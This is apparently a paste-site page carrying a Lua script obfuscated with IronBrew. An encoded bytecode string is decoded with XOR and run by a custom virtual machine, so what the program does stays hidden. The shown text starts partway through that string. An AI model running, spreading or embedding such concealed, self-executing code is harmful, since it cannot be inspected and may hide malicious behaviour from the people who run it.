A0991059F10760469053005FF188301E7187A103D13B00F1E10BA0214025102EB18271079096401D806A7036B08381CA00434061B018F1B50183A12B404AF0D57081C084D0BA1080413E0010405F4179B0DCF06460FE41814076309DD052619A404940DED13EC183E1C01022900B5095E03531C5E0214106A073302D002DC104C00500048007C00310045004F08460043007C05ED08370835004500580B4700BF094100310042003600450039004500B5086E057B1CA9097C1C5905BF09310B510A861C701CEC08370046008205370042008B1C4B098D1C831C4400931C360043002F09E106991C941CC60842003300971C3400440036004100901C9B1CA71C9A1C4300C10A42000D04C608961C3E0C4500A51C9A1C41003500991C0F044300931C310BF50DA41C9F1C84053700B71CE6080F04A81C0C04120B3700991C4600AB1C0C04110D8B1CE208A41CC61CAB1C8105A01CC308A31CB31CB81C9B1C931CA91CA81CAF1C41003300450037009C1C82054500C408C902DA1C7F1C37087F1C43003200B71C41008B1C1B04D11C9A1C4008EF1C0D0AD71C730AE51CD21CA61C4100DA1C0C049C1C7F1CDD1CC21CE01CE21C1911E51C991C0B04AF1CCB1CDF1C59054700EC08F01CF71C701C140AC91C0A0C5905F61C971CDA1C9C1C0B0446003200470036009F1CCC1CC21C22091C1D700B4700ED1CEB0AEF1C4500EB0AEC1C1B1DE206EC1C6A0A101DF91C3600EB1CDC1CE106110D3100CB1C8D1C760C0F1D171DDC08CB1CBB1C151D960A301DD91CBB1C091DAB1CDE1C031DE31CE01CE61CBA1C9A1CEA1C9B1CED1C3500DF1CE11C911CE608521DC21C0C041E1DA71CFD1C041D001DDB1C561D491D061DF70B451D0B1D1C1DEC084105481D9A1CFB1CE01C1E1DE71C331D9F1C031D3708BA1C701D4F1D0D1DA21CB41CBB1C3F09BB1C8A0C40084A1D7F1C4008E11C8A0C581DFC1C4400E01CF60EE51C1A1D131D2604841D1B1D380C301DAF1CAD1C8505880941004300A21CEF1CE2084808CD0845007F1C1C1DBF098405EA09DA0DB50844003900861C3600861C730AA31D8A1CA61D5609AA1DA81D0C1D0312AB1DAF1DF71C7A1CB11DA61D5A05A61D5D08A61D5C08A61D7E05861C9C1D3E0CB21DCC0DBD1DA61DC11DA91D0312B21CBF09C71D300046006C053700791C821C3800931D30004100891CA71D580C410034004700210B730A6C05D91D990ABA1D5E0EDC1DD61D580CE11DDE1D210BD91DEF1CD0097D1C4809730AEC1CDD1D3100EA1D2C0A761C0C0C4200310043005E0E730A4809711CE81DF51D580CEC1DFD1D8E0835083100440055091E0A48094600CA080F04AE0B5805031E051EE7091101051E1C1DE21D990A6D0AFF1DF61DEA1D3E0C4D08DD1D8505111E4809EA1D46091A1ED009EE09111EED1D121EEF1DB80AFD1D111E171E3F0841007F1C4400F61D2C09330AE51C33004400781CD409991CA90935084500931D5D08060F4300480927099C1CC3089C1CEF1CC91C2611941C3F094600071E511D441EC902AE0B5905781DD21DD41D371D3500861CB41C6E05C9083300F61DCD08730A44004500460026045D08990A84054400730A32004200ED1DD709380045009C1CE91DD81DBF093300931D4600CD08F80E44006A1E511EAD0A1C1E261E4809330ADD1D380B7D1E7C057D1E4300A31CE01DB80A1C1E6F1EDD1D5B08DF10E705BB016410FF09DB0C7702")))()end)local v=string.byte;local w=string.char;local x=string.sub;local y=table.concat;local z=math.ldexp;local C=getfenv or function()return _ENV end;local D=setmetatable;local E=select;local F=unpack;local G=tonumber;local function H(v)local I,J,K="","",{}local L=256;local M={}for D=0,L-1 do M[D]=w(D)end;local D=1;local function F()local I=G(x(v,D,D),36)D=D+1;local J=G(x(v,D,D+I-1),36)D=D+I;return J end;I=w(F())K[1]=I;while D<#v do local D=F()if M[D]then J=M[D]else J=I..x(I,1,1)end;M[L]=I..x(J,1,1)K[#K+1],I,L=J,J,L+1 end;return table.concat(K)end;local L=H('26C27427423M27525G26K1K1R21X26K27425C26S27B22M26S27425D26K25W26C22M27E26C25W25G27I25G27426527W27P27Z26425W27I27O26C26528522M28528727K28927526427I26427426824K27I24K27426924S23826C23024S27426K28K1R22N28M26C26L25021W27P25027426H27522M27526S25827I25827426O23O27I23O27427025O27I25O27426V27U1R22M27W22S23P29526C22Z29X23L24C27422Z2A226C23P26S27W23J27K26C26H2A226D22B2A526H22S1K26C22B22S29P2181R1R22W2AP24B26S23W27B22Y23W29F29M1R22Y29O26C27128521S28526W2B12B327426R1C1L1R21T1C26D22S23L22S2952252AN26C23L2301426C23E2302742BS29522M2BX26C23X28Z22M28Z23T28H27P2C924528T27P2CD24128828524D2BQ22M2BQ2492CK2BQ24525G27W29T27424525824K26D22M29E26C2412CD22Z2CD24D29J26C22C2D72492C22C127424L2DC2C22412CR2802742412582502CY2D024929327P2DS24L22427422M2DW26C24822K27I22K2742492E427P2E72E628C2E724G2BB2B424S29C2B22D026I24C24426D2272A222S25J24427B22424426C22S26I23W22S2EN2AZ2EQ29H1R22429J22S24P2E226C22J2E72512102AK22J21027424Q26K21026D23827E2EQ26C2ET27422S24T21G23826D21U21G27424X22K22C26D23G2E724X1C2AK22X1C2742592102FM22M2FI26C2591K2AK22M2AK26C24H2182GM2182DE2GO2GN2E52GC27P2GY2ER2AQ22M2441R24B24A26K2F02212FP25J2FR2F52FT2492GI22Z2GI26I26K2EM23I2HB2752DZ2EQ28W22428M2F82FA2FC2742HK2G42272HO2FS2EW2FV2FX2FZ2742512G32G52FD142AK2372BU2GP2GR26C22V2GT26C2492IG22Z2IG25J23G2AQ2242IS24B23T2G029Y2IY24521O2A32J22B527522H27525J1S26J26C2241S2H523T25825W26D22F2D02FN2JI22I28Q26C26R26C1Q2AR2JS24B25L28Z22Z28Z25X2D32CD25X2J62J82JA2JC2JE24B25D2702A927027L26K29522R27R27M29J27Q27425H2A827P2AB25H26K28C27R2KS2DX27R2JB27426F26M27523S23V23P23K24724024623X23U23N26F26827523N23P23T23L2L127524J23L24024R23Q23Y23L23R24024726F2JR27421923E25922O24123624F26E22E1W23J26Q1R21P1225Q1622325A22625724V2222752MN1K26326F26A27525323V24124623R2LK2MN2MR2752L82LA2LC26F26F2N224123Q2LE27523R23W23P2462MN2NH2NI1423V24K26F27127522N1O25H1126A1126Y24221R21W21X26521G1921J26V21I23F23X23A23U24823I141O2NI28628Z2NI24K27727426D2752OM2OL2ON2OF2OO26C2OS2OU2OQ2OP2OX2OT2OW2OZ2OY2OV2P22P02P32P12P72P62P92P52PB2P42PD2P82PC2PF2PE2OF2PH2PK2PA2PE2PM2PL2PG2PO2PR2PG2MN2PS2PN2PQ2PJ2PY2PW2PZ2PJ2PV2PK')local K=bit and bit.bxor or function(D,J)local I,K=1,0;while D>0 and J>0 do local L,x=D%2,J%2;if L~=x then K=K+I end;D,J,I=(D-L)/2,(J-x)/2,I*2 end;if D<J then D=J end;while D>0 do local J=D%2;if J>0 then K=K+I end;D,I=(D-J)/2,I*2 end;return K end;local function D(I,D,J)if J then local D=I/2^(D-1)%2^(J-1-(D-1)+1)return D-D%1 else local D=2^(D-1)return I%(D+D)>=D and 1 or 0 end end;local I=1;local function J()local J,L,D,x=v(L,I,I+3)J=K(J,228)L=K(L,228)D=K(D,228)x=K(x,228)I=I+4;return x*16777216+D*65536+L*256+J end;local function M()local D=K(v(L,I,I),228)I=I+1;return D end;local function N()local I=J()local J=J()local x=1;local K=D(J,1,20)*2^32+I;local I=D(J,21,31)local D=(-1)^D(J,32)if I==0 then if K==0 then return D*0 else I=1;x=0 end elseif I==2047 then return K==0 and D*1/0 or D*0/0 end;return z(D,I-1023)*(x+K/2^52)end;local H=J;local function G(D)local J;if not D then D=H()if D==0 then return''end end;J=x(L,I,I+D-1)I=I+D;local I={}for D=1,#J do I[D]=w(K(v(x(J,D,D)),228))end;return y(I)end;local I=J;local function H(...)return{...},E('#',...)end;local function y()local w={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}local I={}local v={}local L={w,nil,I,nil,v}L[4]=M()for D=1,J()do I[D-1]=y()end;for L=1,J()do local x=K(J(),33)local J=K(J(),186)local K=D(x,1,2)local I=D(J,1,11)local I={I,D(x,3,11),nil,nil,J}if K==0 then I[3]=D(x,12,20)I[5]=D(x,21,29)elseif K==1 then I[3]=D(J,12,33)elseif K==2 then I[3]=D(J,12,32)-1048575 elseif K==3 then I[3]=D(J,12,32)-1048575;I[5]=D(x,21,29)end;w[L]=I end;local D=J()local K={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}for J=1,D do local I=M()local D;if I==1 then D=M()~=0 elseif I==0 then D=N()elseif I==3 then D=G()end;K[J]=D end;L[2]=K;for D=1,J()do v[D]=J()end;return L end;local N=pcall;local function z(G,D,v)local D=G[1]local I=G[2]local y=G[3]local K=G[4]return function(...)local J=1;local M=-1;local w={...}local E=E('#',...)-1;local function C()local x=D;local L=I;local D=y;local K=K;local D=H;local G={}local D={}local I={}for D=0,E do if D>=K then G[D-K]=w[D+1]else I[D]=w[D+1]end end;local D=E-K+1;local D;local K;while true do D=x[J]K=D[1]if K<=30 then if K<=14 then if K<=6 then if K<=2 then if K<=0 then I[D[2]]=I[D[3]]*L[D[5]]elseif K>1 then I[D[2]]=I[D[3]]-I[D[5]]else local K;I[D[2]]=v[L[D[3]]]J=J+1;D=x[J]I[D[2]]=I[D[3]][L[D[5]]]J=J+1;D=x[J]I[D[2]]={}J=J+1;D=x[J]I[D[2]]=L[D[3]]J=J+1;D=x[J]I[D[2]]=L[D[3]]J=J+1;D=x[J]I[D[2]]=L[D[3]]J=J+1;D=x[J]K=D[2]I[K]=I[K]-I[K+2]J=J+D[3]end elseif K<=4 then if K>3 then local K=D[3]local J=I[K]for D=K+1,D[5]do J=J..I[D]end;I[D[2]]=J else do return end end elseif K==5 then I[D[2]]=I[D[3]]%L[D[5]]else I[D[2]]={}end elseif K<=10 then if K<=8 then if K>7 then I[D[2]]=v[L[D[3]]]else M=D[2]end elseif K>9 then local G;local v;local K;local w;local L;I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]L=D[2]w={}K=0;v=L+D[3]-1;for D=L+1,v do K=K+1;w[K]=I[D]end;G={I[L](F(w,1,v-L))}v=L+D[5]-2;K=0;for D=L,v do K=K+1;I[D]=G[K]end;M=v;J=J+1;D=x[J]I[D[2]]=I[D[3]][I[D[5]]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]else I[D[2]]=I[D[3]][I[D[5]]]end elseif K<=12 then if K>11 then I[D[2]]()M=A else I[D[2]]=I[D[3]]+L[D[5]]end elseif K==13 then I[D[2]][I[D[3]]]=I[D[5]]else J=J+D[3]end elseif K<=22 then if K<=18 then if K<=16 then if K>15 then I[D[2]]=I[D[3]]-L[D[5]]else M=D[2]end elseif K==17 then if L[D[2]]<I[D[5]]then J=J+1 else J=J+D[3]end else J=J+D[3]end elseif K<=20 then if K==19 then I[D[2]]=I[D[3]]-L[D[5]]else I[D[2]]=I[D[3]][L[D[5]]]end elseif K==21 then I[D[2]][I[D[3]]]=I[D[5]]else I[D[2]]=I[D[3]]+I[D[5]]end elseif K<=26 then if K<=24 then if K==23 then if I[D[2]]<I[D[5]]then J=J+1 else J=J+D[3]end else if L[D[2]]<I[D[5]]then J=J+1 else J=J+D[3]end end elseif K>25 then local J=D[2]local K=I[D[3]]I[J+1]=K;I[J]=K[L[D[5]]]else I[D[2]]=v[L[D[3]]]end elseif K<=28 then if K==27 then local K;local M;I[D[2]]=v[L[D[3]]]J=J+1;D=x[J]I[D[2]]=v[L[D[3]]]J=J+1;D=x[J]M=D[2]K=I[D[3]]I[M+1]=K;I[M]=K[L[D[5]]]J=J+1;D=x[J]I[D[2]]=L[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=L[D[3]]J=J+1;D=x[J]I[D[2]]=v[L[D[3]]]else I[D[2]]=I[D[3]]+I[D[5]]end elseif K==29 then local K=D[3]local J=I[K]for D=K+1,D[5]do J=J..I[D]end;I[D[2]]=J else I[D[2]]=#I[D[3]]end elseif K<=45 then if K<=37 then if K<=33 then if K<=31 then local K=D[2]I[K]=I[K]-I[K+2]J=J+D[3]elseif K>32 then local K=D[2]local x={}local J=0;local L=K+D[3]-1;for D=K+1,L do J=J+1;x[J]=I[D]end;local x={I[K](F(x,1,L-K))}local D=K+D[5]-2;J=0;for D=K,D do J=J+1;I[D]=x[J]end;M=D else if L[D[2]]>=I[D[5]]then J=J+1 else J=J+D[3]end end elseif K<=35 then if K==34 then I[D[2]]=I[D[3]]-I[D[5]]else I[D[2]]=I[D[3]][I[D[5]]]end elseif K==36 then local E;local w;local K;local G;local v;I[D[2]]=I[D[3]]%L[D[5]]J=J+1;D=x[J]I[D[2]]=I[D[3]]+L[D[5]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]v=D[2]G={}K=0;w=v+D[3]-1;for D=v+1,w do K=K+1;G[K]=I[D]end;E={I[v](F(G,1,w-v))}w=v+D[5]-2;K=0;for D=v,w do K=K+1;I[D]=E[K]end;M=w;J=J+1;D=x[J]I[D[2]]=I[D[3]][I[D[5]]]else local K=D[2]local x={}local J=0;local L=K+D[3]-1;for D=K+1,L do J=J+1;x[J]=I[D]end;local x={I[K](F(x,1,L-K))}local D=K+D[5]-2;J=0;for D=K,D do J=J+1;I[D]=x[J]end;M=D end elseif K<=41 then if K<=39 then if K>38 then I[D[2]]=I[D[3]]%L[D[5]]else if I[D[2]]~=I[D[5]]then J=J+1 else J=J+D[3]end end elseif K>40 then I[D[2]]=#I[D[3]]else if I[D[2]]<I[D[5]]then J=J+1 else J=J+D[3]end end elseif K<=43 then if K==42 then if I[D[2]]~=I[D[5]]then J=J+1 else J=J+D[3]end else local K=D[2]local J=I[D[3]]I[K+1]=J;I[K]=J[L[D[5]]]end elseif K==44 then I[D[2]]={}else I[D[2]]=I[D[3]]/L[D[5]]end elseif K<=53 then if K<=49 then if K<=47 then if K>46 then do return end else I[D[2]]=L[D[3]]end elseif K>48 then I[D[2]]=I[D[3]]/L[D[5]]else local K=D[2]I[K]=I[K]-I[K+2]J=J+D[3]end elseif K<=51 then if K==50 then I[D[2]]=I[D[3]][L[D[5]]]else I[D[2]]=I[D[3]]end elseif K>52 then I[D[2]]=I[D[3]]else I[D[2]]=L[D[3]]end elseif K<=57 then if K<=55 then if K>54 then I[D[2]]=I[D[3]]/L[D[5]]J=J+1;D=x[J]I[D[2]]=I[D[3]]-I[D[5]]J=J+1;D=x[J]I[D[2]]=I[D[3]]/L[D[5]]J=J+1;D=x[J]I[D[2]]=I[D[3]]*L[D[5]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]I[D[2]]=I[D[3]]J=J+1;D=x[J]J=J+D[3]else local K=D[2]local L=I[K+2]local x=I[K]+L;I[K]=x;if L>0 then if x<=I[K+1]then J=J+D[3]I[K+3]=x end elseif x>=I[K+1]then J=J+D[3]I[K+3]=x end end elseif K>56 then I[D[2]]=I[D[3]]*L[D[5]]else local K=D[2]local L=I[K+2]local x=I[K]+L;I[K]=x;if L>0 then if x<=I[K+1]then J=J+D[3]I[K+3]=x end elseif x>=I[K+1]then J=J+D[3]I[K+3]=x end end elseif K<=59 then if K>58 then I[D[2]]=I[D[3]]+L[D[5]]else I[D[2]]()M=A end elseif K==60 then if L[D[2]]>=I[D[5]]then J=J+1 else J=J+D[3]end else local E;local w;local K;local G;local v;I[D[2]]=I[D[3]][L[D[5]]]J=J+1;D=x[J]I[D[2]]=I[D[3]][L[D[5]]]J=J+1;D=x[J]v=D[2]G={}K=0;w=v+D[3]-1;for D=v+1,w do K=K+1;G[K]=I[D]end;E={I[v](F(G,1,w-v))}w=v+D[5]-2;K=0;for D=v,w do K=K+1;I[D]=E[K]end;M=w;J=J+1;D=x[J]I[D[2]]()M=v;J=J+1;D=x[J]do return end end;J=J+1 end end;A,B=H(N(C))if not A[1]then local D=G[7][J]or'?'error('ERROR IN IRONBREW SCRIPT [LINE '..D..']:'..A[2])else return F(A,2,B)end end end;return z(y(),{},C())()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement